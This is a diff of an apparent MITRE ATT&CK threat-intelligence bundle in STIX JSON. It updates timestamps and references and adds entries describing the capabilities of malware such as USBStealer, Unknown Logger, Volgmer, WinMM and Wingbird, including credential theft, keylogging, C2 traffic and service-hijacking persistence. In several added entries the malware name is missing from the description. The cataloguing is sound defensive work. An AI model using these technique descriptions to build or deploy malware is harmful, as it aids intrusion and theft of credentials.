             "description": "USBStealer searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53585,7 +63624,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -53594,7 +63633,7 @@
             "id": "relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53611,7 +63650,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -53620,7 +63659,7 @@
             "id": "relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53641,7 +63680,7 @@
             "id": "relationship--00ae99d1-db02-4007-8669-04d7fc4c1390",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Once a removable media device is inserted back into the first victim, USBStealer collects data from it that was exfiltrated from a second victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53658,7 +63697,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ]
         },
@@ -53667,7 +63706,7 @@
             "id": "relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer exfiltrates collected files via removable media from air-gapped victims.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53688,7 +63727,7 @@
             "id": "relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53709,7 +63748,7 @@
             "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer has several commands to delete files associated with the malware from the victim.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53730,7 +63769,7 @@
             "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer registers itself under a Registry Run key with the name \"USB Disk Security.\"",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53751,7 +63790,7 @@
             "id": "relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most strings in USBStealer are encrypted using 3DES and XOR and reversed.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -53772,7 +63811,7 @@
             "id": "relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of recording keystrokes.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53793,7 +63832,7 @@
             "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53814,7 +63853,7 @@
             "id": "relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim computer name, physical memory, country, and date.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53835,7 +63874,7 @@
             "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim usernames.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53856,7 +63895,7 @@
             "id": "relationship--7a1e7afa-7052-4e47-8725-66e485efda43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim's IP address.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53877,7 +63916,7 @@
             "id": "relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of spreading to USB devices.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53898,7 +63937,7 @@
             "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger is capable of downloading remote files.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53919,7 +63958,7 @@
             "id": "relationship--fb1ff794-8060-42c8-8969-b6660b07068f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
@@ -53940,7 +63979,7 @@
             "id": "relationship--eb74fa31-121d-4e43-9794-048a901f509a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Uroburos is a rootkit used by Turla.",
             "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
@@ -53952,7 +63991,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -53961,7 +64000,7 @@
             "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Uroburos uses a custom packer.",
             "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
@@ -53977,12 +64016,222 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can gather system information from a victim.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download remote files.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--084ac639-2502-4020-8938-65352349acbb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can list directories on a victim.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has communicated to its C2 server over port 8080.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
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+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has communicated to its C2 server over port 8088.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses a custom binary protocol to beacon back to its C2 server.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  use SSL to encrypt C2 communications.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--96a09c57-4848-464e-8649-142152c91db9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the system to identify existing services.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--191885b6-1282-4173-a2bd-174c30c8a1dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to <code>%SYSTEMROOT%</code> (<code>C:\\WINDOWS\\ntshrui.dll</code>).",
             "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
@@ -54003,7 +64252,7 @@
             "id": "relationship--1984ba26-2309-49db-8c42-75951d0ef678",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD C2 traffic can communicate via TCP raw sockets.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -54024,7 +64273,7 @@
             "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather Registry values.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -54045,7 +64294,7 @@
             "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather the victim user name.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -54066,7 +64315,7 @@
             "id": "relationship--73fe447a-8d70-433f-be9a-5af74934a662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather the victim computer name.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -54087,7 +64336,7 @@
             "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD is capable of file deletion along with other file system interaction.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
@@ -54108,7 +64357,7 @@
             "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM uses NetUser-GetInfo to identify that it is running under an \u201cAdmin\u201d account on the local system.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54129,7 +64378,7 @@
             "id": "relationship--2e367a09-1d94-4ea4-984c-a592b769fffa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54150,7 +64399,7 @@
             "id": "relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM uses HTTP for C2.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54171,7 +64420,7 @@
             "id": "relationship--13204383-a747-4f7f-a75c-858ddc76beab",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM sets a WH_CBT Windows hook to collect information on process creation.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54192,7 +64441,7 @@
             "id": "relationship--1684e405-53bd-4951-a26d-e7c39887b06a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM sets a WH_CBT Windows hook to search for and capture files on the victim.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54213,7 +64462,7 @@
             "id": "relationship--70a93fc8-83c0-4407-8224-ae447af1235a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM is usually configured with primary and backup domains for C2 communications.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
@@ -54234,7 +64483,7 @@
             "id": "relationship--935971d6-0af2-4683-971a-9acb523733fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Windows Credential Editor can dump credentials.",
             "source_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
@@ -54250,12 +64499,221 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
